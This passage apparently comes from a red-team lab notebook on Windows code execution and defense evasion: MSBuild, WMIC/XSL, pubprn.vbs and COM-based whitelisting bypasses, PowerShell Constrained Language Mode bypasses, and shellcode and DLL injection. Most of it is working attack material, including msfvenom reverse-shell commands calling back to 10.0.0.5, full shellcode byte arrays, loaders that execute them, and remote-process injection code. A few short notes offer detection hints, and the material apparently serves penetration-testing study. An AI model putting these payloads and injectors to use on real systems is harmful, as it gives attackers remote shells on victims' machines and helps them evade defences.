msfvenom -p windows/meterpreter/reverse_tcp LHOST=10.0.0.5 LPORT=443 -f csharp
```

{% endcode %}

![](/files/-LbduVJDrfRCCGKEcWuV)

Insert shellcode into the shellcode variable in linne 46:

{% code title="bad.xml" %}

```markup
<Project ToolsVersion="4.0" xmlns="http://schemas.microsoft.com/developer/msbuild/2003">
         <!-- This inline task executes shellcode. -->
         <!-- C:\Windows\Microsoft.NET\Framework\v4.0.30319\msbuild.exe SimpleTasks.csproj -->
         <!-- Save This File And Execute The Above Command -->
         <!-- Author: Casey Smith, Twitter: @subTee -->
         <!-- License: BSD 3-Clause -->
	  <Target Name="Hello">
	    <ClassExample />
	  </Target>
	  <UsingTask
	    TaskName="ClassExample"
	    TaskFactory="CodeTaskFactory"
	    AssemblyFile="C:\Windows\Microsoft.Net\Framework\v4.0.30319\Microsoft.Build.Tasks.v4.0.dll" >
	    <Task>
	    
	      <Code Type="Class" Language="cs">
	      <![CDATA[
		using System;
		using System.Runtime.InteropServices;
		using Microsoft.Build.Framework;
		using Microsoft.Build.Utilities;
		public class ClassExample :  Task, ITask
		{         
		  private static UInt32 MEM_COMMIT = 0x1000;          
		  private static UInt32 PAGE_EXECUTE_READWRITE = 0x40;          
		  [DllImport("kernel32")]
		    private static extern UInt32 VirtualAlloc(UInt32 lpStartAddr,
		    UInt32 size, UInt32 flAllocationType, UInt32 flProtect);          
		  [DllImport("kernel32")]
		    private static extern IntPtr CreateThread(            
		    UInt32 lpThreadAttributes,
		    UInt32 dwStackSize,
		    UInt32 lpStartAddress,
		    IntPtr param,
		    UInt32 dwCreationFlags,
		    ref UInt32 lpThreadId           
		    );
		  [DllImport("kernel32")]
		    private static extern UInt32 WaitForSingleObject(           
		    IntPtr hHandle,
		    UInt32 dwMilliseconds
		    );          
		  public override bool Execute()
		  {
			//replace with your own shellcode
		    byte[] shellcode = new byte[] { 0xfc,0xe8,0x82,0x00,0x00,0x00,0x60,0x89,0xe5,0x31,0xc0,0x64,0x8b,0x50,0x30,0x8b,0x52,0x0c,0x8b,0x52,0x14,0x8b,0x72,0x28,0x0f,0xb7,0x4a,0x26,0x31,0xff,0xac,0x3c,0x61,0x7c,0x02,0x2c,0x20,0xc1,0xcf,0x0d,0x01,0xc7,0xe2,0xf2,0x52,0x57,0x8b,0x52,0x10,0x8b,0x4a,0x3c,0x8b,0x4c,0x11,0x78,0xe3,0x48,0x01,0xd1,0x51,0x8b,0x59,0x20,0x01,0xd3,0x8b,0x49,0x18,0xe3,0x3a,0x49,0x8b,0x34,0x8b,0x01,0xd6,0x31,0xff,0xac,0xc1,0xcf,0x0d,0x01,0xc7,0x38,0xe0,0x75,0xf6,0x03,0x7d,0xf8,0x3b,0x7d,0x24,0x75,0xe4,0x58,0x8b,0x58,0x24,0x01,0xd3,0x66,0x8b,0x0c,0x4b,0x8b,0x58,0x1c,0x01,0xd3,0x8b,0x04,0x8b,0x01,0xd0,0x89,0x44,0x24,0x24,0x5b,0x5b,0x61,0x59,0x5a,0x51,0xff,0xe0,0x5f,0x5f,0x5a,0x8b,0x12,0xeb,0x8d,0x5d,0x68,0x33,0x32,0x00,0x00,0x68,0x77,0x73,0x32,0x5f,0x54,0x68,0x4c,0x77,0x26,0x07,0x89,0xe8,0xff,0xd0,0xb8,0x90,0x01,0x00,0x00,0x29,0xc4,0x54,0x50,0x68,0x29,0x80,0x6b,0x00,0xff,0xd5,0x6a,0x0a,0x68,0x0a,0x00,0x00,0x05,0x68,0x02,0x00,0x01,0xbb,0x89,0xe6,0x50,0x50,0x50,0x50,0x40,0x50,0x40,0x50,0x68,0xea,0x0f,0xdf,0xe0,0xff,0xd5,0x97,0x6a,0x10,0x56,0x57,0x68,0x99,0xa5,0x74,0x61,0xff,0xd5,0x85,0xc0,0x74,0x0a,0xff,0x4e,0x08,0x75,0xec,0xe8,0x67,0x00,0x00,0x00,0x6a,0x00,0x6a,0x04,0x56,0x57,0x68,0x02,0xd9,0xc8,0x5f,0xff,0xd5,0x83,0xf8,0x00,0x7e,0x36,0x8b,0x36,0x6a,0x40,0x68,0x00,0x10,0x00,0x00,0x56,0x6a,0x00,0x68,0x58,0xa4,0x53,0xe5,0xff,0xd5,0x93,0x53,0x6a,0x00,0x56,0x53,0x57,0x68,0x02,0xd9,0xc8,0x5f,0xff,0xd5,0x83,0xf8,0x00,0x7d,0x28,0x58,0x68,0x00,0x40,0x00,0x00,0x6a,0x00,0x50,0x68,0x0b,0x2f,0x0f,0x30,0xff,0xd5,0x57,0x68,0x75,0x6e,0x4d,0x61,0xff,0xd5,0x5e,0x5e,0xff,0x0c,0x24,0x0f,0x85,0x70,0xff,0xff,0xff,0xe9,0x9b,0xff,0xff,0xff,0x01,0xc3,0x29,0xc6,0x75,0xc1,0xc3,0xbb,0xf0,0xb5,0xa2,0x56,0x6a,0x00,0x53,0xff,0xd5 };
		      
		      UInt32 funcAddr = VirtualAlloc(0, (UInt32)shellcode.Length,
			MEM_COMMIT, PAGE_EXECUTE_READWRITE);
		      Marshal.Copy(shellcode, 0, (IntPtr)(funcAddr), shellcode.Length);
		      IntPtr hThread = IntPtr.Zero;
		      UInt32 threadId = 0;
		      IntPtr pinfo = IntPtr.Zero;
		      hThread = CreateThread(0, 0, funcAddr, pinfo, 0, ref threadId);
		      WaitForSingleObject(hThread, 0xFFFFFFFF);
		      return true;
		  } 
		}     
	      ]]>
	      </Code>
	    </Task>
	  </UsingTask>
	</Project>
```

{% endcode %}

![](/files/-LbdufQ1oTcTIYAkZKAv)

Spin up a handler in metasploit to catch your shell:

{% code title="attacker\@kali" %}

```csharp
msfconsole -x "use exploits/multi/handler; set lhost 10.0.0.5; set lport 443; set payload windows/meterpreter/reverse_tcp; exploit"
```

{% endcode %}

Build and execute malicious payload on the victim system using MSBuild:

{% code title="attacker\@victim" %}

```csharp
C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe C:\bad\bad.xml
```

{% endcode %}

![](/files/-LbdvOdWap7ZLXXIH0ZJ)

## Observation

Note that it's MSBuild.exe that will make the TCP connection to the attacker, so as a defender, you should think about hunting for TCP connections initiated by MSBuild.

## References

<https://gist.github.com/ConsciousHacker/5fce0343f29085cd9fba466974e43f17>


# Forfiles Indirect Command Execution

Defense Evasion

This technique launches an executable without a cmd.exe.

## Execution

```csharp
forfiles /p c:\windows\system32 /m notepad.exe /c calc.exe
```

![](/files/-LJyjew_qABPxMBKiUUh)

## Observations

Defenders can monitor for process creation/commandline logs to detect this activity:

![](/files/-LJyjiHwchi8LNcGtPHw)

![](/files/-LJyjkBlj3iOlHGsmKq7)

## References

{% embed url="<https://attack.mitre.org/wiki/Technique/T1202>" %}


# Application Whitelisting Bypass with WMIC and XSL

Another application whitelist bypassing technique discovered by Casey @subTee, similar to squiblydoo:

{% content-ref url="/pages/-LHFGga0Qxq6A7OngYKg" %}
[regsvr32](/offensive-security/code-execution/t1117-regsvr32-aka-squiblydoo)
{% endcontent-ref %}

## Execution

Define the XSL file containing the jscript payload:

{% code title="evil.xsl" %}

```csharp
<?xml version='1.0'?>
<stylesheet
xmlns="http://www.w3.org/1999/XSL/Transform" xmlns:ms="urn:schemas-microsoft-com:xslt"
xmlns:user="placeholder"
version="1.0">
<output method="text"/>
	<ms:script implements-prefix="user" language="JScript">
	<![CDATA[
	var r = new ActiveXObject("WScript.Shell").Run("calc");
	]]> </ms:script>
</stylesheet>
```

{% endcode %}

Invoke any wmic command now and specify /format pointing to the evil.xsl:

{% code title="attacker\@victim" %}

```csharp
wmic os get /FORMAT:"evil.xsl"
```

{% endcode %}

![](/files/-Lc83UYBZZHhXT_-Wmf4)

## Observation

Calculator is spawned by svchost.exe:

![](/files/-Lc81mqIr4hmt8oEtfl-)

## References

{% embed url="<http://subt0x11.blogspot.com/2018/04/wmicexe-whitelisting-bypass-hacking.html>" %}


# Powershell Without Powershell.exe

Powershell.exe is just a process hosting the System.Management.Automation.dll which essentially is the actual Powershell as we know it.

If you run into a situation where powershell.exe is blocked and no strict application whitelisting is implemented, there are ways to execute powershell still.

## PowerShdll

```
rundll32.exe PowerShdll.dll,main
```

![](/files/-LNRMcAXSnwHu0cxgDPL)

Note that the same could be achieved with a compiled .exe binary from the same project, but keep in mind that .exe is more likely to run into whitelisting issues.

## SyncAppvPublishingServer

Windows 10 comes with `SyncAppvPublishingServer.exe and` `SyncAppvPublishingServer.vbs` that can be abused with code injection to execute powershell commands from a Microsoft signed script:

```
SyncAppvPublishingServer.vbs "Break; iwr http://10.0.0.5:443"
```

![](/files/-LNRQKQsd_KHdf5A6Hot)

![](/files/-LNRQDdZnD2PCs4fPPCL)

## References

{% embed url="<https://github.com/p3nt4/PowerShdll>" %}

{% embed url="<https://safe-cyberdefense.com/malware-can-use-powershell-without-powershell-exe/>" %}

{% embed url="<https://www.youtube.com/watch?v=7tvfb9poTKg>" %}


# Powershell Constrained Language Mode Bypass

Understanding ConstrainedLanguageMode

Constrained Language Mode in short locks down the nice features of Powershell usually required for complex attacks to be carried out.

## Powershell Inside Powershell

For fun - creating another powershell instance inside powershell without actually spawning a new `powershell.exe` process:

![](/files/-LM93J31GDKWmZl5XU1Y)

## Constrained Language Mode

Enabling constrained language mode, that does not allow powershell execute complex attacks (i.e. mimikatz):

```csharp
[Environment]::SetEnvironmentVariable(‘__PSLockdownPolicy‘, ‘4’, ‘Machine‘)
```

Checking constrained language mode is enabled:

```csharp
PS C:\Users\mantvydas> $ExecutionContext.SessionState.LanguageMode
ConstrainedLanguage
```

![](/files/-LM9PVvArwDX8-xSuyFS)

With `ConstrainedLanguage`, trying to download a file from remote machine, we get `Access Denied`:

![](/files/-LM9Qd-R1KaTueujpj9C)

However, if you have access to the system and enough privileges to change environment variables, the lock can be lifted by removing the variable `__PSLockdownPolicy` and re-spawning another powershell instance.

### Powershell Downgrade

If you have the ability to downgrade to Powershell 2.0, this can allow you to bypass the `ConstrainedLanguage`mode. Note how `$ExecutionContext.SessionState.LanguageMode` keeps returning `ConstrainedLangue` in powershell instances that were not launched with `-version Powershell 2` until it does not:

![](/files/-LM9juaZ8VJkPyFsl1AJ)

## System32 Bypass

[Carrie Roberts](https://twitter.com/OrOneEqualsOne) discovered and wrote in her post <https://www.blackhillsinfosec.com/constrained-language-mode-bypass-when-pslockdownpolicy-is-used/> that there's another way to bypass the contrained language mode and it's super easy - the path from where your script is being executed, needs to contain the string `system32`, meaning even if you rename the script to `system32.ps1`, it should work, so let's try it and confirm it works:

```
PS>.\test.ps1; mv .\test.ps1 system32.ps1; .\system32.ps1
ConstrainedLanguage
FullLanguage

PS>cat .\system32.ps1
$ExecutionContext.SessionState.LanguageMode
```

## References

{% embed url="<https://blogs.msdn.microsoft.com/powershell/2017/11/02/powershell-constrained-language-mode/>" %}

{% embed url="<https://www.blackhillsinfosec.com/powershell-without-powershell-how-to-bypass-application-whitelisting-environment-restrictions-av/>" %}

{% embed url="<https://adsecurity.org/?p=2604>" %}

{% embed url="<https://pentestn00b.wordpress.com/2017/03/20/simple-bypass-for-powershell-constrained-language-mode/>" %}


# Forcing Iexplore.exe to Load a Malicious DLL via COM Abuse

It's possible to force iexplore.exe (or explorer.exe) to load a malicious DLL and execute it - a technique which could be used when attempting to evade certain defenses.

The technique works as follows:

* An attacker creates a malicious DLL that he wants iexplore.exe to load and execute - I used a meterpreter payload in this lab
* On a victim system, the attacker defines a new COM server by creating the required keys and values in the registry. The previously created malicious DLL will be set to handle the COM client calls. In our case, the DLL will only perform one action - it will execute the meterpreter shellcode upon load
* On a vitim system, the attacker uses an existing `ShellWindows` (iexplore or explorer) COM server `9BA05972-F6A8-11CF-A442-00A0C90A8F39`to call our malicious COM server by simply navigating to it
* Iexplore.exe loads the malicious DLL
* Attacker catches the meterpreter shell

This technique *requires* iexplore.exe to be running on the target system :)

See <https://labs.nettitude.com/blog/com-and-the-powerthief/> by Rob Maslen for more details on why this technique works.

## Execution

Below is a powershell code that creates a new COM object with a randomly chosen CLSID `55555555-5555-5555-5555-555555555555` which registers our malicious DLL at `\\VBOXSVR\Experiments\evilm64.dll` to handle incoming calls from COM clients:

{% code title="attacker\@victim" %}

```csharp
# Code borrowed from https://github.com/nettitude/Invoke-PowerThIEf/blob/master/Invoke-PowerThIEf.ps1 by Rob Maslen
$CLSID = "55555555-5555-5555-5555-555555555555"
Remove-Item -Recurse -Force -Path "HKCU:\Software\Classes\CLSID\{$CLSID}" -ErrorAction SilentlyContinue

# path to the malicious DLL we want iexplore to load and execute
$payload = "\\VBOXSVR\Experiments\evilm64.dll"
New-Item -Path "HKCU:\Software\Classes\CLSID" -ErrorAction SilentlyContinue | Out-Null
New-Item -Path "HKCU:\Software\Classes\CLSID\{$CLSID}" | Out-Null
New-Item -Path "HKCU:\Software\Classes\CLSID\{$CLSID}\InProcServer32" | Out-Null
New-Item -Path "HKCU:\Software\Classes\CLSID\{$CLSID}\ShellFolder" | Out-Null
New-ItemProperty -Path "HKCU:\Software\Classes\CLSID\{$CLSID}\InProcServer32" -Name "(default)" -Value $Payload | Out-Null
New-ItemProperty -Path "HKCU:\Software\Classes\CLSID\{$CLSID}\InProcServer32" -Name "ThreadingModel" -Value "Apartment" | Out-Null
New-ItemProperty -Path "HKCU:\Software\Classes\CLSID\{$CLSID}\InProcServer32" -Name "LoadWithoutCOM" -Value "" | Out-Null
New-ItemProperty -Path "HKCU:\Software\Classes\CLSID\{$CLSID}\ShellFolder" -Name "HideOnDesktop" -Value "" | Out-Null
New-ItemProperty -Path "HKCU:\Software\Classes\CLSID\{$CLSID}\ShellFolder" -Name "Attributes" -Value 0xf090013d -PropertyType DWORD | Out-Null
```

{% endcode %}

Once run, we can see that the new COM object got created successfully in the registry:

![](/files/-LhQqxD51KP7f7TSYzhJ)

We are now ready to execute the payload with the below powershell. What happens here is:

* We're requesting a new instance of the `ShellWindows` `(9BA05972-F6A8-11CF-A442-00A0C90A8F39)` COM object, which actually applies to both explorer.exe and iexplore.exe, meaning with a handle to that object, we can interface with them using their exposed methods
* Specifically, we are interested in getting an instance of a COM object for iexplore.exe, because its COM server has a method `Navigate2(...)` exposed. The `Navigate2` allows us to programatically instruct the iexplore.exe to navigate to a URL.&#x20;
* We are asking iexplore to navigate to our newly created malicious CLSID pointing to our DLL instead of a URL:

{% code title="attacker\@victim" %}

```csharp
# force iexplore to load the malicious DLL and execute it
$shellWinGuid = [System.Guid]::Parse("{9BA05972-F6A8-11CF-A442-00A0C90A8F39}")
$typeShwin = [System.Type]::GetTypeFromCLSID($shellWinGuid)
$shwin = [System.Activator]::CreateInstance($typeShwin) | ? {$_.fullname -match 'iexplore'} | Select-Object -First 1
$shWin.Navigate2("shell:::{$CLSID}", 2048)
```

{% endcode %}

Code execution in action, resulting in a meterpreter session:

![](/files/-LhQr_ht69SoFWBnUvlm)

## Shell:::

As a fun bonus, it's possible to call our malicious COM object via explorer by navigating to\
`shell:::{55555555-5555-5555-5555-555555555555}` which forces the explorer.exe to load our malicious DLL:

![](/files/-LhR1kY81cLrlj2uvb0H)

...and results in a meterpreter shell:

![](/files/-LhR12XUD9j3fUfOSGHd)

## References

{% embed url="<https://docs.microsoft.com/en-us/windows/desktop/com/component-object-model--com--portal>" %}

{% embed url="<https://docs.microsoft.com/en-us/previous-versions/windows/internet-explorer/ie-developer/platform-apis/aa752094(v%3Dvs.85)>" %}

{% embed url="<https://labs.nettitude.com/blog/com-and-the-powerthief/>" %}


# pubprn.vbs Signed Script Code Execution

Signed Script Proxy Execution - bypass application whitelisting using pubprn.vbs

## Execution

Using pubprn.vbs, we will execute code to launch calc.exe. First of, the xml that will be executed by the script:

{% code title="<http://192.168.2.71/tools/mitre/proxy-script/proxy.sct>" %}

```markup
<?XML version="1.0"?>
<scriptlet>

<registration
    description="Bandit"
    progid="Bandit"
    version="1.00"
    classid="{AAAA1111-0000-0000-0000-0000FEEDACDC}"   
	>
</registration>

<script language="JScript">
<![CDATA[
		var r = new ActiveXObject("WScript.Shell").Run("calc.exe");	
]]>
</script>

</scriptlet>
```

{% endcode %}

{% code title="attacker\@victim" %}

```csharp
cscript /b C:\Windows\System32\Printing_Admin_Scripts\en-US\pubprn.vbs 127.0.0.1 script:http://192.168.2.71/tools/mitre/proxy-script/proxy.sct
```

{% endcode %}

## Observations

Calc.exe gets spawned by cscript.exe which immediately closes leaving the calc.exe process orphan:

![](/files/-LI2ODZRD6ri-CkAzeYT)

![](/files/-LI2OF_pE8rPLNHG0ciM)

Monitoring commandlines can be useful in detecting the script being abused:

![](/files/-LIHTuiKgire5SPCG3h_)

## References

{% embed url="<https://attack.mitre.org/wiki/Technique/T1216>" %}


# Code & Process Injection


# CreateRemoteThread Shellcode Injection

Injecting shellcode into a local process.

This lab explores some classic ways of injecting shellcode into a process memory and executing it.

## Executing Shellcode in Local Process

First of - a simple test of how to execute the shellcode directly from a C++ program.

Generating shellcode for a reverse shell:

```csharp
msfvenom -p windows/x64/shell_reverse_tcp LHOST=10.0.0.5 LPORT=443 -f c -b \x00\x0a\x0d
```

![](/files/-LKqSrSYkt1kbPN9x44Z)

C++ code to injectd and invoke the shellcode:

{% code title="inject-local-process.cpp" %}

```cpp
#include "stdafx.h"
#include "Windows.h"

int main()
{
	unsigned char shellcode[] =
		"\x48\x31\xc9\x48\x81\xe9\xc6\xff\xff\xff\x48\x8d\x05\xef\xff"
		"\xff\xff\x48\xbb\x1d\xbe\xa2\x7b\x2b\x90\xe1\xec\x48\x31\x58"
		"\x27\x48\x2d\xf8\xff\xff\xff\xe2\xf4\xe1\xf6\x21\x9f\xdb\x78"
		"\x21\xec\x1d\xbe\xe3\x2a\x6a\xc0\xb3\xbd\x4b\xf6\x93\xa9\x4e"
		"\xd8\x6a\xbe\x7d\xf6\x29\x29\x33\xd8\x6a\xbe\x3d\xf6\x29\x09"
		"\x7b\xd8\xee\x5b\x57\xf4\xef\x4a\xe2\xd8\xd0\x2c\xb1\x82\xc3"
		"\x07\x29\xbc\xc1\xad\xdc\x77\xaf\x3a\x2a\x51\x03\x01\x4f\xff"
		"\xf3\x33\xa0\xc2\xc1\x67\x5f\x82\xea\x7a\xfb\x1b\x61\x64\x1d"
		"\xbe\xa2\x33\xae\x50\x95\x8b\x55\xbf\x72\x2b\xa0\xd8\xf9\xa8"
		"\x96\xfe\x82\x32\x2a\x40\x02\xba\x55\x41\x6b\x3a\xa0\xa4\x69"
		"\xa4\x1c\x68\xef\x4a\xe2\xd8\xd0\x2c\xb1\xff\x63\xb2\x26\xd1"
		"\xe0\x2d\x25\x5e\xd7\x8a\x67\x93\xad\xc8\x15\xfb\x9b\xaa\x5e"
		"\x48\xb9\xa8\x96\xfe\x86\x32\x2a\x40\x87\xad\x96\xb2\xea\x3f"
		"\xa0\xd0\xfd\xa5\x1c\x6e\xe3\xf0\x2f\x18\xa9\xed\xcd\xff\xfa"
		"\x3a\x73\xce\xb8\xb6\x5c\xe6\xe3\x22\x6a\xca\xa9\x6f\xf1\x9e"
		"\xe3\x29\xd4\x70\xb9\xad\x44\xe4\xea\xf0\x39\x79\xb6\x13\xe2"
		"\x41\xff\x32\x95\xe7\x92\xde\x42\x8d\x90\x7b\x2b\xd1\xb7\xa5"
		"\x94\x58\xea\xfa\xc7\x30\xe0\xec\x1d\xf7\x2b\x9e\x62\x2c\xe3"
		"\xec\x1c\x05\xa8\x7b\x2b\x95\xa0\xb8\x54\x37\x46\x37\xa2\x61"
		"\xa0\x56\x51\xc9\x84\x7c\xd4\x45\xad\x65\xf7\xd6\xa3\x7a\x2b"
		"\x90\xb8\xad\xa7\x97\x22\x10\x2b\x6f\x34\xbc\x4d\xf3\x93\xb2"
		"\x66\xa1\x21\xa4\xe2\x7e\xea\xf2\xe9\xd8\x1e\x2c\x55\x37\x63"
		"\x3a\x91\x7a\xee\x33\xfd\x41\x77\x33\xa2\x57\x8b\xfc\x5c\xe6"
		"\xee\xf2\xc9\xd8\x68\x15\x5c\x04\x3b\xde\x5f\xf1\x1e\x39\x55"
		"\x3f\x66\x3b\x29\x90\xe1\xa5\xa5\xdd\xcf\x1f\x2b\x90\xe1\xec"
		"\x1d\xff\xf2\x3a\x7b\xd8\x68\x0e\x4a\xe9\xf5\x36\x1a\x50\x8b"
		"\xe1\x44\xff\xf2\x99\xd7\xf6\x26\xa8\x39\xea\xa3\x7a\x63\x1d"
		"\xa5\xc8\x05\x78\xa2\x13\x63\x19\x07\xba\x4d\xff\xf2\x3a\x7b"
		"\xd1\xb1\xa5\xe2\x7e\xe3\x2b\x62\x6f\x29\xa1\x94\x7f\xee\xf2"
		"\xea\xd1\x5b\x95\xd1\x81\x24\x84\xfe\xd8\xd0\x3e\x55\x41\x68"
		"\xf0\x25\xd1\x5b\xe4\x9a\xa3\xc2\x84\xfe\x2b\x11\x59\xbf\xe8"
		"\xe3\xc1\x8d\x05\x5c\x71\xe2\x6b\xea\xf8\xef\xb8\xdd\xea\x61"
		"\xb4\x22\x80\xcb\xe5\xe4\x57\x5a\xad\xd0\x14\x41\x90\xb8\xad"
		"\x94\x64\x5d\xae\x2b\x90\xe1\xec";

	void *exec = VirtualAlloc(0, sizeof shellcode, MEM_COMMIT, PAGE_EXECUTE_READWRITE);
	memcpy(exec, shellcode, sizeof shellcode);
	((void(*)())exec)();

    return 0;
}
```

{% endcode %}

Before compiling, for the sake of curiosity, let's have a look at the generated shellcode binary in a disassembler so we can get a rough idea of how our C++ code gets translated into machine code for x64:

![](/files/-LKqahTK9pi1rUvAXPfh)

Also for the sake of curiosity, I wanted to see how the injected shellcode looks in the injected process and to see where it actually is. With a 32-bit shellcode binary (msfvenom -p windows/shell\_reverse\_tcp LHOST=10.0.0.5 LPORT=443 -f c -b \x00\x0a\x0d), the shellcode is nicely located in the main thread's stack:

![](/files/-LKqdGGLmopfHeiJ0iFd)

Back to the x64 bit shellcode - compiling and executing the binary gives us the anticipated reverse shell:

![](/files/-LKqT11Q9z_00emetUej)

![](/files/-LKqT2c9uwDdLzSuP0Tl)

## Executing Shellcode in Remote Process

The below code will inject the shellcode into a notepad.exe process with PID 5428 which will initiate a reverse shell back to the attacker:

{% code title="inject-remote-process.cpp" %}

```cpp
#include "stdafx.h"
#include "Windows.h"

int main(int argc, char *argv[])
{
	unsigned char shellcode[] =
		"\x48\x31\xc9\x48\x81\xe9\xc6\xff\xff\xff\x48\x8d\x05\xef\xff"
		"\xff\xff\x48\xbb\x1d\xbe\xa2\x7b\x2b\x90\xe1\xec\x48\x31\x58"
		"\x27\x48\x2d\xf8\xff\xff\xff\xe2\xf4\xe1\xf6\x21\x9f\xdb\x78"
		"\x21\xec\x1d\xbe\xe3\x2a\x6a\xc0\xb3\xbd\x4b\xf6\x93\xa9\x4e"
		"\xd8\x6a\xbe\x7d\xf6\x29\x29\x33\xd8\x6a\xbe\x3d\xf6\x29\x09"
		"\x7b\xd8\xee\x5b\x57\xf4\xef\x4a\xe2\xd8\xd0\x2c\xb1\x82\xc3"
		"\x07\x29\xbc\xc1\xad\xdc\x77\xaf\x3a\x2a\x51\x03\x01\x4f\xff"
		"\xf3\x33\xa0\xc2\xc1\x67\x5f\x82\xea\x7a\xfb\x1b\x61\x64\x1d"
		"\xbe\xa2\x33\xae\x50\x95\x8b\x55\xbf\x72\x2b\xa0\xd8\xf9\xa8"
		"\x96\xfe\x82\x32\x2a\x40\x02\xba\x55\x41\x6b\x3a\xa0\xa4\x69"
		"\xa4\x1c\x68\xef\x4a\xe2\xd8\xd0\x2c\xb1\xff\x63\xb2\x26\xd1"
		"\xe0\x2d\x25\x5e\xd7\x8a\x67\x93\xad\xc8\x15\xfb\x9b\xaa\x5e"
		"\x48\xb9\xa8\x96\xfe\x86\x32\x2a\x40\x87\xad\x96\xb2\xea\x3f"
		"\xa0\xd0\xfd\xa5\x1c\x6e\xe3\xf0\x2f\x18\xa9\xed\xcd\xff\xfa"
		"\x3a\x73\xce\xb8\xb6\x5c\xe6\xe3\x22\x6a\xca\xa9\x6f\xf1\x9e"
		"\xe3\x29\xd4\x70\xb9\xad\x44\xe4\xea\xf0\x39\x79\xb6\x13\xe2"
		"\x41\xff\x32\x95\xe7\x92\xde\x42\x8d\x90\x7b\x2b\xd1\xb7\xa5"
		"\x94\x58\xea\xfa\xc7\x30\xe0\xec\x1d\xf7\x2b\x9e\x62\x2c\xe3"
		"\xec\x1c\x05\xa8\x7b\x2b\x95\xa0\xb8\x54\x37\x46\x37\xa2\x61"
		"\xa0\x56\x51\xc9\x84\x7c\xd4\x45\xad\x65\xf7\xd6\xa3\x7a\x2b"
		"\x90\xb8\xad\xa7\x97\x22\x10\x2b\x6f\x34\xbc\x4d\xf3\x93\xb2"
		"\x66\xa1\x21\xa4\xe2\x7e\xea\xf2\xe9\xd8\x1e\x2c\x55\x37\x63"
		"\x3a\x91\x7a\xee\x33\xfd\x41\x77\x33\xa2\x57\x8b\xfc\x5c\xe6"
		"\xee\xf2\xc9\xd8\x68\x15\x5c\x04\x3b\xde\x5f\xf1\x1e\x39\x55"
		"\x3f\x66\x3b\x29\x90\xe1\xa5\xa5\xdd\xcf\x1f\x2b\x90\xe1\xec"
		"\x1d\xff\xf2\x3a\x7b\xd8\x68\x0e\x4a\xe9\xf5\x36\x1a\x50\x8b"
		"\xe1\x44\xff\xf2\x99\xd7\xf6\x26\xa8\x39\xea\xa3\x7a\x63\x1d"
		"\xa5\xc8\x05\x78\xa2\x13\x63\x19\x07\xba\x4d\xff\xf2\x3a\x7b"
		"\xd1\xb1\xa5\xe2\x7e\xe3\x2b\x62\x6f\x29\xa1\x94\x7f\xee\xf2"
		"\xea\xd1\x5b\x95\xd1\x81\x24\x84\xfe\xd8\xd0\x3e\x55\x41\x68"
		"\xf0\x25\xd1\x5b\xe4\x9a\xa3\xc2\x84\xfe\x2b\x11\x59\xbf\xe8"
		"\xe3\xc1\x8d\x05\x5c\x71\xe2\x6b\xea\xf8\xef\xb8\xdd\xea\x61"
		"\xb4\x22\x80\xcb\xe5\xe4\x57\x5a\xad\xd0\x14\x41\x90\xb8\xad"
		"\x94\x64\x5d\xae\x2b\x90\xe1\xec";

	HANDLE processHandle;
	HANDLE remoteThread;
	PVOID remoteBuffer;

	printf("Injecting to PID: %i", atoi(argv[1]));
	processHandle = OpenProcess(PROCESS_ALL_ACCESS, FALSE, DWORD(atoi(argv[1])));
	remoteBuffer = VirtualAllocEx(processHandle, NULL, sizeof shellcode, (MEM_RESERVE | MEM_COMMIT), PAGE_EXECUTE_READWRITE);
	WriteProcessMemory(processHandle, remoteBuffer, shellcode, sizeof shellcode, NULL);
	remoteThread = CreateRemoteThread(processHandle, NULL, 0, (LPTHREAD_START_ROUTINE)remoteBuffer, NULL, 0, NULL);
	CloseHandle(processHandle);

    return 0;
}
```

{% endcode %}

{% file src="/files/-LKvzZ53y4nPkcuVXAyj" %}
Inject shellcode to Remote Process w/ CreateRemoteThread
{% endfile %}

Below shows notepad before shellcode injection - it has not initiated any TCP connections yet:

![](/files/-LKqnz-dw-MxvKHkSzQs)

Once the code is compiled and executed, monitoring the API calls taking place on the system reveals that notepad is doing something it should not ever be doing - spawning a cmd.exe and initiating a TCP connection:

![](/files/-LKqnz-lHAfIQhUO3CIF)

Checking the notepad in ProcExplorer again reveals an established TCP connection with a cmd.exe as a child:

![](/files/-LKqnz-ebiRxXckjQAxl)

Note how the notepad has a `ws2_32.dll` module loaded which should never happen in normal circumstances, since that module is responsible for `sockets` management:

![](/files/-LKwCP68KdYVJms-RpxK)

## References

{% embed url="<https://docs.microsoft.com/en-us/windows/desktop/api/processthreadsapi/nf-processthreadsapi-openprocess>" %}

{% embed url="<https://msdn.microsoft.com/en-us/library/windows/desktop/aa366890(v=vs.85).aspx>" %}

{% embed url="<https://docs.microsoft.com/en-us/windows/desktop/ProcThread/process-security-and-access-rights>" %}

{% embed url="<https://msdn.microsoft.com/en-us/library/windows/desktop/aa366887(v=vs.85).aspx>" %}

{% embed url="<https://docs.microsoft.com/en-us/windows/desktop/api/processthreadsapi/nf-processthreadsapi-createremotethread>" %}

{% embed url="<https://msdn.microsoft.com/en-us/library/windows/desktop/ms681674(v=vs.85).aspx>" %}


# DLL Injection

Injecting DLL into a remote process.

This lab attempts a classic DLL injection into a remote process.

## Execution

{% code title="inject-dll.cpp" %}

```cpp
int main(int argc, char *argv[]) {
	HANDLE processHandle;
	PVOID remoteBuffer;
	wchar_t dllPath[] = TEXT("C:\\experiments\\evilm64.dll");
	
	printf("Injecting DLL to PID: %i\n", atoi(argv[1]));
	processHandle = OpenProcess(PROCESS_ALL_ACCESS, FALSE, DWORD(atoi(argv[1])));
	remoteBuffer = VirtualAllocEx(processHandle, NULL, sizeof dllPath, MEM_COMMIT, PAGE_READWRITE);	
	WriteProcessMemory(processHandle, remoteBuffer, (LPVOID)dllPath, sizeof dllPath, NULL);
	PTHREAD_START_ROUTINE threatStartRoutineAddress = (PTHREAD_START_ROUTINE)GetProcAddress(GetModuleHandle(TEXT("Kernel32")), "LoadLibraryW");
	CreateRemoteThread(processHandle, NULL, 0, threatStartRoutineAddress, remoteBuffer, 0, NULL);
	CloseHandle(processHandle); 
	
	return 0;
}
```

{% endcode %}

Compiling the above code and executing it with a supplied argument of `4892` which is a PID of the notepad.exe process on the victim system:

{% code title="attacker\@victim" %}

```csharp
PS C:\experiments\inject1\x64\Debug> .\inject1.exe 4892
Injecting DLL to PID: 4892
```

{% endcode %}

After the DLL is successfully injected, the attacker receives a meterpreter session from the injected process and its privileges:

![](/files/-LKwe8C1B9bH2TeIu73z)

{% file src="/files/-LKwf4McUH9P9t8eWXiL" %}
DLL injector.exe
{% endfile %}

{% file src="/files/-LKwbhgFfjWM8ziwRvDF" %}
c:\experiments\evilm64.dll (windows/x64/meterpreter/reverse\_tcp)
{% endfile %}

## Observations

